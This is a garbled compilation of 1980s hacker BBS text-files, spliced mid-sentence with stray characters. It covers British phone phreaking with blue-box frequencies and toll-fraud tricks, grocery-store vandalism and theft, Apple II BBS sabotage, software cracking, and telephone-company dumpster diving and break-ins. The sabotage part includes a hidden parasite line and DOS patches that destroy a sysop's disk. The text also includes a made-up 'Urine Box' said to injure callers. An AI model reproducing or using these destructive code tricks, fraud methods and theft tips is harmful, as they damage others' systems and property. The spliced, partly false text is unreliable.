Now, back to British phreaking:In the early days of British phreaking, the Cambridge University Titan Computer was used to record and circulate numbers found by the exhaustive dialing of local networks. These numbers were used to create a chain of links from local exchange to local exchange across the country, bypassing the trunk circuits. Because the internal routing codes in the UK network are not the same `aG`=as those dialed by the caller, the phreaks had to discover them by 'probe and listen' techniques or more commonly known in the U.S.--SCANNING. What they did was put in likely signals and listened to find out if they succeeded. The results of scanning were circulated to other phreaks. Discovering each other took time at first, but evenutally the phreaks became organized. The "TAP" of Britain was called "Undercurrents" which enabled British phreaks to share the info on new numbers, eabڌ!quipment etc. To understand what the British british phreaks did, think of the phone network in three layers of lines: Local, trunk, and international. In the UK, Subcriber Trunk Dialing (STD), is the mechanism which takes a call from the local lines and (legitimately) elevates it to a trunk or international level. The UK phreaks figured that a call at trunk level can be routed through any number of exchanges, provided that the right routing codes were found and used correctly. TbcF~hey also had to discover how to get from local to trunk level either without being charged (which they did with a bleeper box) or without using STD. Chaining has already been mentioned but it requires long strings of digits and speech gets more and more faint as the chain grows, just like it does when you stack trunks back and forth accross the U.S. The way the security reps snagged the phreaks was to put a simple 'printermeter' or as we call it: a pen register on the suspects line,cdv=@ which shows every digit dialed from the subscribers line. The British prefer to get onto the trunks rather than chaining. One way was to discover where local calls use the trunks between neighboring exchanges, start a call and stay on the trunk instead of returning to the local level on reaching the distant switch. This again required exhaustive dialing and made more work for Titan; it also revealed 'fiddles', which were inserted by Post Office Engineers. What fiddling means is de>that the engineers rewired the exchanges for thier own benefit. The equipment is modified to give access to a trunk with out being charged, an operation which is pretty easy in Step by Step (SXS) electromechanical exchanges, which were installed in Britain even in the 1 0s (NOTE: I know of a back door into the Canadian system on a 4A CO., so if you are on SXS or a 4A, try scanning 3 digit exchanges, ie: dial 999,998,997 etc. and listen for the beep-kerchink, if there are no 3 digitef`X_ codes which allow direct access to a tandem in your local exchange and bypasses the AMA so you won't be billed, not have to blast 2600 every time you wish to box a call. A famous British 'fiddler' revealed in the early 1970s worked by dialing 173. The caller then added the trunk code of 1 and the subscribers local number. At that time, most engineering test services began with 17X, so the engineers could hide thier fiddles in the nest of service wires. When security reps startefgӣ 8d searching, the fiddles were concealed by tones signalling:'number unobtainalbe' or 'equipment engaged' which switched off after a delay. The necessary relays are small and easily hidden. There was another side to phreaking In the UK in the sixties. Before STD was widespread, many 'ordinary' people were driven to occasional phreaking from sheer frustration at the inefficient operator controlled trunk system. This came to a head during a strike about 1961 when operators could ngh>M&ot be reached. Nothing complicated was needed. Many operators had been in the habit of repeating the codes as they dialled the requested numbers so people soon learnt the numbers they called frequently. The only 'trick' was to know which exchanges could be dialled through to pass on the trunk number. Callers also needed a pretty quiet place to do it, since timing relative to clicks was important. The most famous trial of British phreaks was called the Old Baily trial. Which starthiped on 3 Oct. 1973. What they phreaks did was to dial a spare number at a local call rate but involving a trunk to another exchange Then they send a 'clear forward' to thier local exchange, indicating to it that the call is finished;but the distant exchange doesn't realize because the caller's phone is still Off the hook. They now have an open line into the distant trunk exchange and sends to it a 'seize' signal: '1' which puts him onto its outgoing lines. Now, if they know the codiTx鯪es, the world is open to them. All other exchanges trust his local exchange to handle the billing; they just interpret the tones they hear. Mean while, the local exchange collects only for a local call. The investigators discovered the phreaks holding a conference somewhere in England surrounded by various phone equipment and bleeper boxes, also printouts listing 'secret' Post Office codes. (They probably got them from trashing?)

UlY In Britain, phreaking goes back to the early fifties, when the technique of 'Toll A drop back' was discovered. Toll A was an exchange near St. Pauls which routed calls between London and nearby non-London exchanges. The trick was to dial an unallocated number, and then depress the reciever-rest for 1/2 second. This flashing initiated the 'clear forward' signal, leaving the caller with an open line into the Toll A exchange. He could then dial 018, which forwarded him to the trunkVm G exchange- at that time, the first long distance exchange in Britain- and foll ow it with the code for the distant exchange to which he would be connected at no extra charge. The signals needed to control the UK network today were published in the "Institution of Post Office Engineers Journal" and reprinted in the Sunday Times (15 Oct. 1972). The signalling system they use: signalling system No. 3 uses pairs of frequencies selected from 6 tones separated by 120Hz. With that iWnnfo, the phreaks made "Bleepers" or as they are called here in the U.S. "Blue Box", but they do utilize different MF tones then the U.S., thus, your U.S. Blue Box that you smuggled into the UK will not work, unless you change the frequencies. In the early seventies, a simpler system based on different numbers of pulses with the same frequency (2280Hz) was used. For more info on that, try to get hold of: Atkinson's "Telephony and Systems Technology". The following are timinXoWg and the frequencies for boxing in the UK and other foreign countries. Special thanks to Peter McIvers for the phollowing inpho: British "bleeper" boxes have the very same layout as U.S. Blue Boxes. The frequencies are different, though. They use two sets of frequencies, forward and backward. Forward signals are sent out by the bleeper box; the backward signals may be ignored (it's sort of like using full duplex). The frequencies are as follows: US: 700 900 1100Yp۸ 1300 1500 1700 Forward: 1380 1500 1620 1740 1860 1980 Hz Backward: 1140 1020 900 780 660 540 Hz For example, change the 900 Hz potentiometers in your box to 1500 Hz. All numbers 1-0 (10) are in the same order as in an American box. The ones after this are thier codes for operator 11, operator 12, spare 13, spare 14, and 15. One of these is KP, one (probably 15) is Star; it won't be too hard to figure out. The signals should carry -11.5dBm +/- 1dB ontoZqp8t the line; the frequencies should be within +/- 4Hz (as is the British equipment). Also, the 1VF system is still in operation in parts of the U.K. This would encode all signals 1 to 16 as inary numbers; for instance, a five is 0101. There are six intervals per digit, each 50ms long r a total of 300ms. First is a start pulse of 2280 for 50ms. Then, using the example of five (0101), there is a 50ms pause, a 50ms pulse of 2280, a 50ms pause, and a 50ms pulse of 2280.Finally, there is a[r{ 50ms pause that signals the end of the digit. The frequency tolerance on the 2280 Hz is +/- 0.3%; it is sent at -6 +/- 1dBm. An idle line is signaled by the presence of a 3825Hz tone for more than 650ms. This must be within 4Hz. France uses the same box codes as the US, with an additional 1900Hz acknowledgement signal, at -8.7 +/- 1dBm per frequency. Spain uses a 2 out of 5 mf code (same frequencies as US), with a 1700 Hz acknowledge signal. Other places using the 1VF syst\s9;em are: Australia, 2280Hz +/-6Hz, 35ms/digit at -6dB. Germany, France: same as Australia; also, some 1VF systems in the UK. Switzerland: same as Australia, only it uses 3000Hz, not 2280. Sweeden: same as above, but at 2400Hz. Spain: some parts use 1VF with 2500Hz. There is one other major system: the 2VF system. In this system, each digit is 35ms long. The number is encoded in binary as with the 1VF system. Using the example of five (0101), here's how the American 2VF system wa]tHs sent: 2400 pulse, pause, 2040 pulse, pause, 2400 pulse, pause, 2040 pulse, pause. The digits and pauses are all 35ms long, for a total of 280ms per digit. Other countries are still using a similar high/low pair with the same timings. Some parts of Italy use the 1VF system with 2040Hz; some use the 2VF system with 2040 and 2400 (same as original US) Hz. The Netherlands uses a 2VF system with 2400 and 2500 Hz pulses. With the 2VF system, all frequencies should be within 2Hz. Also, ^_&here are some specs for American phone equipment: Dial Tone: 350+440Hz, -17.5 to -14.5 dBm/tone. Off-Hook (ROH): 1400+2060+2450+2600(!) on/off 5 times per second Busy: 480+620Hz; solow busy: 0.5 +/- 0.05 sec = 1 period (about twice a second), at -28.5 to -22.5 dBm/tone. Ring: 440+480 Hz at -23.5 to -20.5 dBm/tone. A ring is modulated at 20 +/- 3Hz, 2sec on, 4sec off. Call waiting: 440Hz, on 1 second. Recorder Connection: 1400Hz, beeps every 15minutes. Multiparty line ring: sam% fIvP, you're an idiot. Also, you can eat things right in the store if you want. Just take your snack to a deserted aisle and then satisfy your stomach. Of course, the only thing you could steal from Giant is food (or those cheap plastic toys often found in grocery stores, but why would you want those?), and since a box of cereal is a bit to obvious under one's shirt, I suggest candy. But go ahead and take what you want, I couldn't give a shit. Well, I was wrong, I have one more thinJw>.g I want to tell you about (gee I'm tricky...) Ok, have you ever seen those swinging double-doors in the back near the meat?? These doors can lead you to loads of fun. Back there they store all their excess until they have room for it. So you can go back there and fuck around like crazy (if anyone asks you what the hell you're doing back there, just say you're going to the bathroom, the bathrooms are ALWAYS back there somewhere), doing whatever the hell you want. Try rearranging anytKxphing you may find back there. Go ahead, screw up their inventory! Hi....welp, these are the new parts for all you keeping score... Ok, I've mentioned some of the fun you can have with the shopping carts themselves. Now, another thing you can do with them is just throw them all over the place. Get a few empty ones and take 'em out to the parking lot. Here you can "automate" the carts by seeing how far they'll go on their own. Give them a big push and they're off! Try to push Lywthem into car's paths, I'm sure the driver will appreciate it. I'm REAL sorry about that Ms.Jones, I had no idea you'd swerve like that and end up with a boy and his bike as your new hood ornament. Also, you can make a nice big accident by hurling a bunch of them all together. Wham!! Awwww...too bad...looks like a few of the things have been mangled to hell. Oh, all these carts would also make a mighty fine roadblock, wouldn't you say?? After completely smashing them, you might wanMzf[t to return them to the store...just so they know that new ones will have to be brought. Just to see what the employees say, bring along a box with a melodious tune of Suicidal Tendencies being cranked out. I doubt that many people would approve of this (which is why you're doing it). Anyway, when someone tries to talk to you, don't say a damn thing. Pretend your foreign, deaf, whatever, just don't speak. This will get people even more pissed off. At this point they'll probablyN{pV\ call security (Woaaahhhhh....those Rent-A-Cops are SCARY!!) or something and try to force you out. Let 'em, don't try to resist at all. When you get outside just point at them and start laughing like crazy. Here you can enter a convulsive fit or whatever works for you. I've mentioned stealing things...well, if you don't have the guts for actually lifting things, there is an alternative. Simply exchange price tags, this way it's not really lifting, just a damn good bargain. If O|you're going to do this, try to get in some dumbfuck foreigners lane (Note: With all the damn Arabs and whatnot at 7-Eleven, this can always be done there). If the cashier doubts the price, just play it off. Oh, here's another idea that deal with price tags. Try to steal one of those "tag guns" that the employees use to price items. This way you can make people get items they usually wouldn't (because of your low, LOW price). When the person goes to checkout and the item(s) goes throP}Uhugh the little scanner thing, hahaha!It's damn funny to see the people arguing over the price...and it holds up the line as well. Ok, for this next little topic, you'll need some kinda foreign currency (like that real great one, the peso...). Oh, you can pick up some pesos or another kind of currency at a bank that specializes in exchanging currencies. When you have your foreign dough, go to the supermarket and pick out a few items (doesn't matter what they are). Then proceed to Q~vcheckout and when given the total, just give the pesos or whatever to the cashier. When the idiot tells you that you can't use that. Start screaming in another language (or if you're to lame to know one, make one up) and have a fit. Make it clear (non-verbally of course) that you want to pay with your pesos. Take it as far is it will go, and then throw the money at the dumb bitch and leave. Well, I hope you have all learned something from this tutorial on how to fuck with your gR@6rocery store. Oh, and I >AM< responsible for whatever actions you may take as a result of reading this phile. When you get in trouble, just go ahead and say 007 told you to do it. "Well you see Mr. Rent-A-Cop, there was this phile on a BBS around NY that told me to do it!"...maybe it'll even get written up in NewsWeek by our hero the journalist, Mr. Sandza! :=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:==:=:=:=:=:=:=:=:=:=: : The previous phile has been brought toSj"I you by.... : :_____________ _____________: : ...10/31/87| Purgatory Productions |...10/31/87 : :=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:==:=:=:=:=:=:=:=:=:=: File: A HISTORY OF BRITISH PHREAKING $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $ $ $ The History Of British Phreaking $ $ -=- -=-=-=- -- -=-=-=- -=-=-=-=- $ $ >mtcarts and then strew them all around the store, for example. I'm sure that almost every employee just loves to spend their time ridding the store of the bogus carts you created. Or maybe you would rather gather ten or so carts and then make barriers in aisles when no one is looking. Wouldn't you like to hear "Um...Frank..someone seems to have made a collection of carts in aisle four, so could you clean it up please, thank you..." announced over the loudspeaker system of your nearest?WyjX Giant or Safeway? Or you can have your very own shopping cart drag races in the frozen food section. Perhaps you're one of the more destructive types. If you are, then "bumper carts" is just for you. Just smash the carts into one another and relive those magic childhood moments at the carnival. One VERY funny stunt that produces great results is fucking with other people's carts. Just go around throwing things into carts when the owner is not looking. "Wait a minute..where the hel@l did this damn watermelon come from?! I hate watermelons." Doing that can greatly confuse a person, so go ahead, make someone think they're goin' crazy! Another fun thing to do at a grocery store is, of course, playing with the food. See how many times you and a friend can throw toilet paper over aisle eight without hitting anyone. You can always go for 'distance' by throwing fruits or vegetables over as many aisles as possible. Or perhaps you would rather test your bowling skilA" ls. Just stack up anything handy (paper towels, cans, plastic soda bottles, etc.) and roll any sphere like object at it (melons, or perhaps a can of Kool Aid?) You could always play a quick game of basketball. Just set up an empty cart and find something that bounces (or doesn't), then go for those three point shots. In fact, almost every major sport (except water polo, but that's not a major sport, now is it?) can be played with ease at your closest supermarket or grocery store. B Pissing off the employees is also entertaining. I'm sure you can think of many ways to do this, but try the following. Trying to buy alcohol if you're under age (insist that you aren't!), shouting obscenities, eating 'bulk' food right out of the container, dropping (accidentally of course!) a few glass bottles, going down to where the employees eat and just sit at the table, and also try to buy nine packs of gum in the '8 items or less' lane. You could also try loitering, just sit CXat the magazine rack and catch up on your reading. Another fun thing to do is to keep bugging an employee hard at work. I'm sure an employee would appreciate it if you dragged him from his task just so you could buy one red hot from the bulk food section. Yet another entertaining thing to do is cause the store to lose customers. The easiest way to do this is to just buy something so you and a friend can get in line. Then look at what the person ahead of you is getting and tell D5ǽyou friend that "whatever the next person has" was laced with poison or something to that effect. Oh, here's yet another entertaining thing to do. Go outside the store and look for carts that are full and just sitting there with no on by them (the owner has gone to get his/her car). When you have found such a cart, take some bags or better yet, take the whole cart. Now you have a weeks worth of free groceries. So get some friends together and have a party (what else would you do Ewith six bags of food?) If the owner suddenly appears while you are "buying" your groceries, just push the cart as hard as you can at him/her and take off. If you are lucky enough two find two of these carts, then you can have some real fun. Just start taking things out of one cart and chuck it in the other, better yet, just exchange bags! Then sit back and watch the confusion. Although the people probably won't notice the difference until they get home and unpack. Don't you wish yoF,u could see their reaction?! Oh, you could also just take someones cart and move it down a bit...that way you could see their reaction and that would of course increase your enjoyment. A vast amount of fun can be had in the frozen food section. Just take some frozen products or ice cream and put them in one of those deserted aisles so they can thaw out. After that, cruise over to where ever the food coloring is kept and snag some. Then go back to frozen foods and find some nice iG'ce cream. Now just open up ice cream containers and put about thirty drops of red (or whatever colour) food coloring in them. Wouldn't YOU be surprised if you opened up a half gallon of vanilla ice cream at home and found red designs all over the place?? Do you want to get people in trouble? Then you can have lots of fun screwing with the prices of things. You can take some steaks and throw them into the "reduced food section". Most people are stupid and would jump at the chancHuce to get a turkey for a few bucks. Or, you could just take a large marker into the store with you and write "5 cents" on everything you see. Write it on donut boxes, cereal boxes, soda bottles, or anything you see. My last topic is everyone's favorite, taking what is not rightfully yours (shoplifting, dumbass). It's surprisingly simple to lift things from grocery stores. I'm not going to give you a shoplifting tutorial here though, if you need to read a phile to learn how to lift3eUg: More Nifty Trix Well, I had such a fun tyme putting nifty stuff in my last T-file, I decided to do it again. In this file I will discuss the Tyme Bomb, the Sneaky Spud, and the Bugger. They all are great for revenge, getting even, and just being a pain in the a$$. Well, I won't keep you suspended anymore, here they are! ========= Tyme bomb ========= This crash takes a long time to work, but there is almost no way to detect it. It involves adding a line in a common used p4/Tlace, but not too common. That means, the G-file section of a BBS is a good place, but the main menu is not. Once you have decided where to put it, find two fat lines in that area. These lines will be the disguise lines. You will place a line between them, and they will camouflage it (hopefully). Now insert this line right after the first disguise line, and before the second. LIKE THIS: 10130 XXXXXXXX DISGUISE LINE XXXXXX 10134 POKE INT(RND(1)*30000)+2053,0 10140 XXXXXXXX DIS5w>RGUISE LINE XXXXXX This will, every time it hits line 10134, poke a random byte in the program to 0. All of you applesoft hackers out there should remember that Applesoft uses the byte 0 to signal the end of a line; meaning: the ends of some lines will start to disapear. I particularly like this little trick becoz when bugs do appear in the programme, they are almost never near the line we inserted. The bugs appear so slowly that, by the time they are discovered, a backup of the 6͸BBS program containing our little line has usually been made. So, when the sysop begins to use his backup copy, our little bug will again begin to gnaw away at the host program. Now lets get some terms down. A crash that is inserted in the BBS and slowly destroys it is called a parasite. The program the parasite is killing is called the host program. (Sounds like biology, eh?) Step by step: 1) Get into the BBS somehow 2) Find a commonly used place, but not too comm7L멓on. 3) Insert the parasite line between two disguise lines. 4)>Be sure to save the host program after the parasite has been put in it! If you don't, when the host program's computer is turned off, the parasite will be lost. =========== Sneaky spud =========== Who would a sysop least expect to crash his board? Himself! This little crash involves modifying dos so that when the drive is cataloged the disk is initialized instead. Now you could, yourself, initializ8We the disk, but it is much more fun to let the Sysop do it for himself. Why? 1) He can't find out who did it. 2) If he crashes his own BBS, he will make himself a complete ass, and you torment him with that information until he cries! Lets see how this done: 1) Get into the moniter. 2) TYPE "A56E:4C 4F A5" 3) Exit to BASIC (3D0G) 4) Rerun the program so it will log you off. 5) Call the board back and logon new under some name like: The Tidy Bowl Man 9& or Fat Albert or Utah Jack or (Who gives a damn?). 6) Send him some feedback that will make him catalog the disk. Such as: Everytime I try to post or send mail to a user I get this message then I get logged off! I'm not sure, but I think that your drive is full. To be on the safe side, take a catalog of them and see if there are more than 122 files. Even though you may have free sectors, you may not have enough room in the catalog for more file names. I hope you get:4\ it fixed soon! LAT0R0N MAN, S P U D P E A L E R ======= =========== 7) Logoff. Now when he sees your message and takes a catalogue he will get his disk fried. He will probably be able to hit reset before the disk is inited completely, but enough will be erased to screw him up. ========== The Bugger ========== This one is easy. LOG onto a board that is easy to break into and delete some lines of your choice. Then save it. Do this every day or so for a month. At the; end of the month the sysop will be in the rubber room singing jingle bells while playing a game of hopscotch. ============================================================================== Well, that wraps up another exciting episode of "Crashing Chronicles".

There are many different things to do in a supermarket that will provide entertainment as well as pissing off people in general. First, though, you should get =Qfsome friends to increase the entertainment value of the whole excursion, as well as to provide even more destruction. I've found that you can get away with a lot of things (playing chase throughout the aisles, playing soccer or football with various perishables, etc.) and no one will say anything. If anyone does say anything, do the kindly anarchist thing and tell them to fuck off. Ok. One very fun thing to do is fuck with the shopping carts themselves.

So, I will tell you what to do when you get into the BBS. Most sysops, if they have an IQ, will disable the init command. They usually do this by changing the init command to some other word you will never guess. Well, there is an easier way to crash the BBS than by searching for +what the sysop changed it to. Get in the moniter (Call-151), and type: A54FG This is the init command's entry point which DOS calls to initialize a disk. There are some bugs with this way of crashing a disk though: 1) It takes about 40 seconds to init a disk, and 9f a sysop is there, he can stop you at any time. 2) Many boards use a fast DOS; and, most fast-DOSes had to take out the init command to make the mods to DOS. So, even if you do a A54FG, y,/ou won't be able to kill the disk. I prefer to kill the VTOC, instead of initing the disk. Here are a couple of reasons why: 1) Very quick!!!!! 2) Very nasty!!!!! The trick is to rewrite the VTOC (Volume Table Of Contents) to say that the catalog track is 255. Now all of us know there is no track 255 on a disk, this can only mean.....(you guessed it) that the system will bomb when doing anything that involves looking at the catalog track. Since almost everyt-DR. CRUNCH<+ ============== -=*> P.S. I was messing around with DOS a couple of days ago and I figured out a real, real, real, nasty one. You have probably heard of letting the drive spin for a couple of days to ruin it. This works, but it takes a long time.. I like this one better: *BDCC:E1A EA NBDDA:EA EA This mods DOS to recalibrate the drive head forever (unless the sysop walks in). So, all you do now is use a DOS command that reads the disk, and the drive is going to make alot of funny sounds! (Atalog is the best one to use, since it is in almost every DOS unmodified.) ===== Note: This should only be done when there is a very, VERY, good reason to ===== waste some dudes drive.

If you have case 3, use the techinque in part I and restart from the beg. And you have case 4, shoot your self. You know the program uses overlays but don't see and on disk? Try looking at the disk with good old nortons. AnHy hidden files are probally the overlays. Thes are the ones we are after. If you still can't find them, use PC-WATCH (this pro am is a must!!! for all crackists. Traps ALL interrupts). Using PC-Watch to Find Overlays ------------------------------- Start up PC-Watch and and EXCLUDE everything in the left col. Search the right col. until you find DOS21 - OpnFile and select it. Now run the program to be cracked. Play the game until the protection is checked. Examine your PCwatch ՙ output to see what file was loaded right before it. This probably is the one holding th check. If not, shit, go through all the files. You Have Found the Overlays --------------------------- Great, now just crack the overlay as if it was a DOS file. You don't need to worry about .EXE file, debug can write an overlay file. Part I explains the basic of cracking. I suggest that you keep a backup copy of the overlay so if you phuck up, and you will, you can recover quickly. Ah, and Byou thought cracking with overlays was going to be hard. Locksmith and Cracking ---------------------- The copy/disk utility program Locksmith by AlphaLogic is a great tool in cracking. It's analyzing ability is great for determining what and where the protections. I find it useful, before I even start cracking, to analyze the protected disk to find and if it's protection. This helps in 2 ways. First, it helps you to know what to do in order to fake out the protection. Second, it helps you to find what the program is looking for. I suggest that you get locksmith if you don't already have it. Check your local pirate board for the program. I also suggest getting PC-Watch and Norton Utilities 3.1. All of these program have many uses in the cracking world.

The trash often contains many valuable things which can range from office memos instructing an operator to carry out a special task (trace someone's line..etc) to actual working phones! In addition to those things, you are also very likely to pick up Bell manuals (they have this habit of replacing them every time one word is revised) The following is a list of suggested instructions and tips to follow when or if you go tra OQshing. Trashing can be quite profitable and fun, provided you do it right and don't get smelly, dirty, or busted. :-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-: STEP #1: LOCATE YOUR TARGET This involves deciding on where exactly the place is you want to trash. The place you want to go trashing at is the Switching Office since that's where everything happens. The easiest way to find the S.O. is to look for a lot of microwave towers. (not too hard,  eeh?) A good place for advanced trashing is your local COSMOS Office. To find it, look for the place in your city which most resembles: 1. A Castle or Fort 2. A Bunker out of WWII. 3. Your local Federal Prison. 4. A Building with the slogan "The more you hear.." on it. The security around these places is that of any of the 1, 2, or 3. Other possible targets would include: 1. Relay stations. 1. Look for a medium to small size tower with a little shack. 2. Loolk for a big-ass tower with a house with AT&T on the door. The little shacks are usually good to break into because they are left with some really good stuff and are usually out in the middle (maybe a little to the west) or nowhere. I've never been into the houses. You can easily spot them because of the towers in the backyard and the odd fact that they have only one door (the front) and no (0) windows. STEP #2:SCOUT THE TARGET AREA One person should gon out to the place you plan to trash and take a good look around. He should look for: Doors, cameras, fences, dogs, and the garbage bins. This is to minimize the amount of confusion when you go trashing that night or whenever-the-hell you go. The scout might want to make out a small map of the streets & stuff in the area if the group is unfamiliar with it. You might also want to use it for quick, safe escape routes. STEP #3:GATHER EQUIPMENT Here is a brief list of equipment you myZight want to take along: MAP : Streets, doors, security guards/cameras, garbage bins, etc... CAR : Doors and trunk open (lights off) Liscence Plate Covered While the car is not necessary, it is helpful in quick getaways and is easier than biking or walking. PEOPLE : More than one; Less than six. Almost never go trashing alone. And never bring more than five guys along with you. It's a little obvious when you have six or seven teenage guys with sacks, dark clothiJ0ng, and flashlights. The recommended group is three, but a duty chart shows more or less: Number of people: 1 2 3 4 5 6 Number to search: 1 1 2 3 3 4 Number to watch : 0 1 1 1 2 2 --- BEST WAY ---: ^ EQUIP : Sack (each - nylon recommended as is light & easily washed/hidden) FlashLight (each - with handkerchief) Use the handkerchief to cover the light at all times.

It is also important to read this entire article before attemping to construct this. First, connect the red wire of the transformer to either terminal on the speaker. Now connect the white wire from the transformer to the other terminal speaker. Next, connect the red (positive) wire of one bԡattery clip to the black wire on the other battery clip. Now connect the remaining red wire on the second battery clip to the green wire from the touch tone pad. Connect the blue wire from the touch tone pad to the orange-and-black striped wire from the touch to black lead from the first battery clip. You have now finished the power connection to the keypad. Next, connect the black wire from the keypad to the blue wire on the transformer. Now connect theۿb red-and-green striped wire from the keypad to the green wire on the transformer. The black wire on the transformer should not be connected to anything, along with quite a few wires from the keypad. The connection of the keypad is now complete. All you have to do is connect two nine volt batteries to the battery clips, and you'll be ready to go. You may want to mount it in a case for easy portability.

In addition, we give the touch-tone frequencies. First of all, the tones made by a touch tone telephone are not single tones, they are a combination of two tones, making "DTMF" (dual tone multi-frequency). The normal tone telephone dials 12 different signals, but is capable of dialing 16 di堬*fferent signals (see bulletin on silver boxes). The power required by a keypad is about 25 volts, but they will work with as little as 15, thereby allowing the use of two 9- volt radio batteries. As you may have guessed, they are also designed to operate with a telephone type speaker (and phone line), and not the standard 8-ohm speaker which needs to be used for adequate volume. To accompolish this, we use a matching transformer, this is one of those miniature ones available at Radio Shack. Enough of the theory, now for the circuit. You will need: A touch tone keypad A miniature 1000 to 8 ohm transformer (Radio Shack # 273-1380) A standard 8-ohm speaker Two 9-volt radio batteries Two 9-volt battery clips A case to put it all in (optional) A few construction notes, I suggest that you solder and tape all connections. It is also important to read this entire bulletin before attempting to construct this. First, connect the RED wire of the transformer to either terminal on the speaker. Now connect the WHITE wire from the transformer to the other terminal on the speaker. Next, connect the RED (positive) wire of one battery clip to the black wire of the other battery clip. Now connect the the remaining RED wire on the second battery clip to the GREEN wire from the touch tone pad. Connect the BLUE wire from the touch tone pad to the ORANGE-and-BLACK s㘾ftriped wire from the touch tone pad. To these two wires, now connect the remaining black lead from first battery clip. You have now finished the power connection to the keypad. Connect the BLACK wire from the keypad to the BLUE wire on the transformer. Next connect the RED-and-GREEN striped wire from the keypad to the GREEN wire on the transformer. The BLACK wire on the transformer should not be connected to anything, along with quite a few wires from the keTypad. The connection of the keypad is now complete. All you have to do is connect two nine volt batteries to the battery clips, and you'll be ready to go. You may want to mount it in a case for easy portability. Note that the silver box modification CAN be made to this unit, allowing complete remote phreaking. When none of the buttons are pressed, this unit uses NO power, thereby eliminating the need for a power switch, and extending the life of the batteriꎻes. The following are the frequency combinations generated by each button on the keypad.

First of all, the tones made by a touch on telephone are not single tones, they are a combination of two tones, making 'DTMF' (Dual tone Munlti-frequency). The normal tone telephone dials 12 different signals (see bulletin on Silver Boxes). The power required by a keypad is about 25 volts, but they will work with as little as 15, thereby allowing the use of As you may have gussed, they are also designed to operate with a telephone type speaker (and phoneline), and not the standard 8-OHM speaker which needs to be used for adequate vtlume.

After many months of keeping this puppy secret, we here at Underground_Elite have finally come to the consensus that the public oughtn't be kept in the dark from the wrath of Ma Bell, that great telephone company in the sky. The Urine Box (tm) basically creates a capacitative disturbance between the ring and tip wires in another's telephone headset. I have utilized this to the distinct advantage of the operator of the Urine box and to the disadvantage of the other party involved, hopefully you won't get caught. Without further a doo, wire this schematic together. Copper wire (or gold) will work best due to its lessened resistance. It might be a good idea to keep the wiring cooled, to further reduce current loss. 47k ohms --------------- .01 uFV !\ !------/\/\/-----------!

Usage of box. Use in place of your normal telephone receiver. Do not attempt usage as a regular phone. Call victim by sending tones through speaker with tape recorded noise. Use touch tone sounds as pulse requires electric disruption of line, not just audio. After answer (listen in on SPKR 1) set VR1 to desired strength and let hervb 6 go. Victim will feel unpleasant sensations in his/her head and will undergo a series of high intensity seizures, not unlike epilepsy, and jointly proportional to VR-1 setting and time induced. Settings. (The Fun Part) STEAM. A short -poof- of water vapor condenses within the victim's earpiece, rendering the telephone short circuited and the victim quite dazed. MELT. Causes structural phase change of receiver (usually reinforced ureaformaldehyde plastic material - high tech). This has the unpleasant bonus of removing the victim's hand. VAPORIZE. If the victim is particularly nasty, this setting will remove his upper anatomy (if box is enabled properly, that is!). Continued usage of this setting is generally not recommended, as death or other serious injury will accompany. Disclaimer.

It has a 'yoke' around it that is made of two large saddle-shaped coils, usually of lacquered copper wire. Sometimes the coils are wrapped in tape or plastic or an insulation of some kind, but they're usually just copper. _____ | \ Yoke (wraps around tube neck) | \ ===== | \-----------\-| | Picture Tube |-| (plug on END of tube neck remains connected) | /-----------/-| | / =yL====\ |_____/ Yoke \ Wires from YOKE to CHASSIS \ (cut these and connect YOKE to STEREO) \ \ (leave the CHASSIS end of the wires UNCONNECTED) ------------------------- | TV Chassis | ------------------------- OK. Sometimes there is a bundle of wires or a multi-wire cable that goes from the yoke coil to the chassis. (the yoke coil defects the light spot back and forth so that zit scans out the TV picture. Check an encyclopedia or TV repair book at a library for illustrations or block diagrams etc. if this isn't clear) anyway, the yoke coil will be connected to the main chassis/circuitry of the TV set by several wires, sometimes there's a cable connector or multi-pin plug/socket arrangement on the end. What you have to do is disconnect ALL wires that lead from the chassis to the yoke coils (do this with the TV _OFF_ : HIGH VOLTAGE!!!). If {the yoke wires have a connector, just unplug it from the chassis. If the yoke wires are soldered on to the chassis you will have to cut them. There will also be wires running from a plug/socket on the very end of the neck of the picture tube. Leave these connected - they are needed to warm up the picture tube so you get an image on the screen. Now, turn the tv on and carefully touch a pair of speaker wires connected to a playing stereo, (or just run a 9 volt b|<%Kattery over to the yoke wires) try out various pairs of wires until you see the spot of light that will be in the center of the TV picture (you have disabled scanning and should only see one dot on the face of the picture tube) uh, try connecting voltage or speaker audio into pairs of yoke wires until you have determined which two pair of wires move the dot vertically and which pair move it horizontally. You can use a mirror to watch the TV while fiddling about in b}Fack with the yoke wires. Once you have determined the vertical and horizontal pairs, just run a set of speaker wires from your stereo over to the yoke pairs and turn up the volume, and adjust the left-right balance until the music or radio you are listening to makes the screen scribble around and pulsate to the music. If you have an oscilloscope, it's even easier - just put the oscilloscope in X/Y mode and feed one channel of a walkman into the horizontal probe an~ע d the other channel (left/right channels here) into the vertical sweep probe. The oscilloscope will display a scribble of the music coming from the walkman. Old black and white TVs work better than color TVs for making scribble visions. The only requirement is that light appears on the screen when you turn on the TV set (that is, you can see the scanning pattern). You may have to adjust contrast and brightness to get the best scribble trace on the screen. ?If you are using a 'good' TV you might want to install DPDT switches to switch back and forth between scribble and normal TV modes. Make sure the DPDT switches isolate the chassis scanning signals from your stereo completely or you can blow things out. This is a diagram of the contacts on the bottom of a DPDT switch. Make two of these, one for the Left/Horizontal Yoke-to-Stereo connections and one for the Right/Vertical Yoke-to-Stereo connections.>EN You only need to do this if you want to switch back and forth between TV and Scribblevision modes. Make SURE the Chassis wires will get connected to their original corresponding Yoke wires when the switch is flipped. |wire to Yoke Coil | ------o o o----- wires from chassis wires from stereo ------o o o--.H--- | |wire to Yoke Coil You can also reverse the leads from the chassis to the yoke to make the TV display a mirror image or upside-down picture. Mirror reversal is convenient if you don't want to be forced to read adversizement graphics when they appear on the screen. Oh, if you watch a mono audio source in scribble-vision mode, you will just see a diagonal line instead of a full scribble palR 7 8 9 C * 0 # D There used to be many places were you could use SILVER BOX tones, but now you can only use it in places were Ma Bell hasn't gotten around to replacing here old switchboxes, (4A), or on Autovan. Autovan is a special military phone line, like a mass of private lines hooked together (I think, but I'm not sure). To see if a specific area has the old 4A switchboxes try this test: Call up there directorym{} 